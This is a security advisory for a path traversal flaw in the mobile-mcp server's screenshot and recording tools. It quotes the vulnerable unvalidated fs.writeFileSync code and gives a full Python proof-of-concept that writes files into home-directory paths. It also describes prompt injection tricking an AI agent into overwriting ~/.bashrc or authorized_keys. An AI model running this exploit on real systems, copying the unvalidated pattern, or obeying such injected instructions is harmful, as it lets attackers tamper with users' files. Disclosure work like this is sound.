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@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools

High severity GitHub Reviewed Published Mar 25, 2026 in mobile-next/mobile-mcp • Updated Mar 30, 2026

Package

npm @mobilenext/mobile-mcp (npm)

Affected versions

< 0.0.49

Patched versions

0.0.49

Description

Summary

The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.

Details

File: src/server.ts (lines 584-592)

tool(
    "mobile_save_screenshot",
    "Save Screenshot",
    "Save a screenshot of the mobile device to a file",
    {
        device: z.string().describe("The device identifier..."),
        saveTo: z.string().describe("The path to save the screenshot to"),
    },
    { destructiveHint: true },
    async ({ device, saveTo }) => {
        const robot = getRobotFromDevice(device);
        const screenshot = await robot.getScreenshot();
        fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
        return `Screenshot saved to: ${saveTo}`;
    },
);

Root Cause

The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.

Additional Affected Tool

File: src/server.ts (lines 597-620)

The mobile_start_screen_recording tool has the same vulnerability in its output parameter.

PoC

#!/usr/bin/env python3

import json
import os
import subprocess
import sys
import time
from datetime import datetime

SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5


def log(level, msg):
    print(f"[{level.upper()}] {msg}")


def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
    """Send JSON-RPC message and receive response."""
    try:
        proc.stdin.write(json.dumps(msg) + "\n")
        proc.stdin.flush()
        time.sleep(timeout)
        line = proc.stdout.readline()
        return json.loads(line) if line else None
    except Exception as e:
        log("error", f"Communication error: {e}")
        return None


def send_notification(proc, method, params=None):
    """Send JSON-RPC notification (no response expected)."""
    msg = {"jsonrpc": "2.0", "method": method}
    if params:
        msg["params"] = params
    proc.stdin.write(json.dumps(msg) + "\n")
    proc.stdin.flush()


def start_server():
    """Start the mobile-mcp server."""
    log("info", "Starting mobile-mcp server...")

    try:
        proc = subprocess.Popen(
            SERVER_CMD,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
        time.sleep(STARTUP_DELAY)

        if proc.poll() is not None:
            stderr = proc.stderr.read()
            log("error", f"Server failed to start: {stderr[:200]}")
            return None

        log("info", f"Server started (PID: {proc.pid})")
        return proc

    except FileNotFoundError:
        log("error", "npx not found. Please install Node.js")
        return None


def initialize_session(proc):
    """Initialize MCP session with handshake."""
    log("info", "Initializing MCP session...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
            },
        },
    )

    if not resp or "error" in resp:
        log("error", f"Initialize failed: {resp}")
        return False

    send_notification(proc, "notifications/initialized")
    time.sleep(0.5)

    server_info = resp.get("result", {}).get("serverInfo", {})
    log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
    return True


def get_devices(proc):
    """Get list of connected devices."""
    log("info", "Enumerating connected devices...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {"name": "mobile_list_available_devices", "arguments": {}},
        },
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
        try:
            devices = json.loads(content).get("devices", [])
            return devices
        except:
            log("warning", f"Could not parse device list: {content[:100]}")

    return []


def exploit_path_traversal(proc, device_id, target_path):
    """Execute path traversal exploit."""
    log("info", f"Target path: {target_path}")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 100,
            "method": "tools/call",
            "params": {
                "name": "mobile_save_screenshot",
                "arguments": {"device": device_id, "saveTo": target_path},
            },
        },
        timeout=2,
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])
        if isinstance(content, list) and content:
            text = content[0].get("text", "")
            log("info", f"Server response: {text[:100]}")

            check_path = target_path
            if target_path.startswith(".."):
                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))

            if os.path.exists(check_path):
                size = os.path.getsize(check_path)
                log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
                return True, check_path, size
            elif "Screenshot saved" in text:
                log("info", f"Server confirmed write (file may be at relative path)")
                return True, target_path, 0

    log("warning", "Exploit may have failed or file not accessible")
    return False, target_path, 0


def main():
    device_id = sys.argv[1] if len(sys.argv) > 1 else None

    proc = start_server()
    if not proc:
        sys.exit(1)

    try:
        if not initialize_session(proc):
            sys.exit(1)

        if not device_id:
            devices = get_devices(proc)
            if devices:
                log("info", f"Found {len(devices)} device(s):")
                for d in devices:
                    print(f"  - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
                device_id = devices[0].get("id")
                log("info", f"Using device: {device_id}")
            else:
                log("error", "No devices found. Please connect a device and try again.")
                log("info", "Usage: python3 exploit.py <device_id>")
                sys.exit(1)

        home = os.path.expanduser("~")

        exploits = [
            "../../exploit_2_traversal.png",
            f"{home}/exploit.png",
            f"{home}/.poc_dotfile",
        ]

        results = []
        for target in exploits:
            success, path, size = exploit_path_traversal(proc, device_id, target)
            results.append((target, success, path, size))

    finally:
        proc.terminate()
        log("info", "Server terminated.")


if __name__ == "__main__":
    main()

Impact

A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.

References

@gmegidish gmegidish published to mobile-next/mobile-mcp Mar 25, 2026
Published to the GitHub Advisory Database Mar 27, 2026
Reviewed Mar 27, 2026
Published by the National Vulnerability Database Mar 27, 2026
Last updated Mar 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

CVE ID

CVE-2026-33989

GHSA ID

GHSA-3p2m-h2v6-g9mx

Credits

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